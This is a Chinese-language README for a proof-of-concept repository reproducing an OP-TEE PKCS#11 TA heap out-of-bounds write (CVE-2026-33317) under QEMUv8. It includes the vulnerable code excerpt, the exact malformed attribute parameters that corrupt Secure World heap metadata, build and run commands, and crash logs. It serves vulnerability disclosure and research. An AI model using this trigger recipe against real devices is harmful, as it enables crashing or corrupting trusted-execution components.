本仓库包含针对 CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9 的 Normal World 概念验证(PoC)、复现说明及捕获日志。
官方 OP-TEE 公告描述了 entry_get_attribute_value() 中针对 PKCS11_CMD_GET_ATTRIBUTE_VALUE 的缺失校验问题。该漏洞可能导致从 PKCS#11 TA 堆中进行越界读取,并且在属性模板格式错误时,可向临时模板缓冲区之外进行写入。本 PoC 针对越界写入场景,并演示 PKCS#11 TA 中 Secure World 堆损坏。
CVE-2026-33317>= 3.13.04.11 及更高版本8.7 高危CWE-125、CWE-787请仅在本地实验室或您被授权测试 OP-TEE 的其他环境中使用本工具。
本 README 所依据的本地工作副本是一个扁平化的 OP-TEE QEMUv8 工作区。.repo 目录及所有 .git 元数据文件/目录均已被移除,因此该本地归档不再适用于 repo sync 或常规 git 历史命令。
GitHub 仓库有意排除了体积庞大的 OP-TEE/QEMU 源码树、工具链及构建产物。请根据 qemu-v8-setup.md 重新创建这些内容,或将 PoC 文件复制到现有的 OP-TEE qemu_v8 构建根目录中,然后再从全新克隆中运行自动化 QEMU 复现。
重要顶层文件:
准备好的本地归档还包含 optee_os、optee_client、qemu、linux、trusted-firmware-a、u-boot、buildroot、out-br 及 toolchains 等源码/构建目录;这些目录在发布时被忽略。
在存在漏洞的 optee_os 源码树中,ta/pkcs11/src/object.c 遍历客户端提供的序列化属性模板:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
该循环未验证每个属性头及其数据区域是否完全位于已分配的模板之内。PoC 发送:
attrs_size = 8,恰好一个 pkcs11_attribute_head 且无数据字节。attrs_count = 1。cli_head.id = CKA_LABEL。cli_head.size = 16,与所创建对象的 16 字节标签匹配。这将产生一个 16 字节的模板分配:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
随后 cli_ref->data 指向 template + 16,恰好超出分配末尾一个字节。ta/pkcs11/src/attributes.c 中的 get_attribute() 发现调用方提供的尺寸足够大,便将 16 字节标签复制到该越界指针处,从而破坏 PKCS#11 TA 堆。
准备好的 QEMUv8 工作区所需前置条件:
expectqemu_v8 工作区,其构建产物、工具链及 QEMU 二进制文件布局与 qemu-v8-setup.md 中描述的本地归档一致构建 PoC:
./build_poc.sh
预期构建结果:
Built: out/bin/c01_poc
运行自动化 QEMUv8 复现:
./run_c01.sh
该包装脚本在启动前会检查以下暂存文件:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_poc如果构建产物缺失,请先重新创建/构建 OP-TEE 工作区,然后重新运行 ./build_poc.sh。
Normal World 日志应显示构造的请求:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
Secure World 日志应包含分配器断言及 TA 崩溃:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
成功运行的捕获日志已存在于:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c 通过 libteec 调用 PKCS#11 TA UUID fd02c9da-306c-48c7-a49c-bbd827ae86ee:
CKA_LABEL = "AAAAAAAAAAAAAAAA" 的 AES 会话对象。CMD_GET_ATTRIBUTE_VALUE 请求,其中 attrs_size = 8 且 cli_head.size = 16。第一个恶意请求足以破坏堆元数据。随后,当 OP-TEE bget 分配器检测到损坏的块元数据时,TA 即发生崩溃。
run_c01.sh 通过 virtio-9p 将 out/bin 共享到客户机,并将日志写回同一目录。out/bin 内的暂存启动产物链接应指向该归档内的产物。已发布的 GitHub 仓库仅跟踪捕获的 out/bin/c01_*.log 文件。C-01-reproduction.md 记录了早期的 x86 ASAN 测试工具方法。本文件夹中可运行的 PoC 是 QEMUv8 TEEC PoC:c01_poc.c。| 路径 | 用途 |
|---|
c01_poc.c | 使用原始 libteec 调用的 AArch64 Normal World PoC |
build_poc.sh | 将 c01_poc.c 交叉编译为 out/bin/c01_poc |
run_c01.sh | 启动 QEMUv8 并通过 expect 运行 PoC |
c01_check.exp | 自动化客户机登录、virtio-9p 挂载及 PoC 执行 |
out/bin/c01_nw.log | 捕获的 Normal World 复现日志 |
out/bin/c01_sw.log | 包含 PKCS#11 TA 崩溃的 Secure World 日志 |
reproduction-log.md | 完整的 QEMUv8 复现说明 |
qemu-v8-setup.md | OP-TEE QEMUv8 搭建及基线验证说明 |
C-01-reproduction.md | 早期 ASAN 测试工具说明;并非本文件夹中的主要可运行 PoC |
AGENTS.md | 面向未来 AI/代码代理的维护说明 |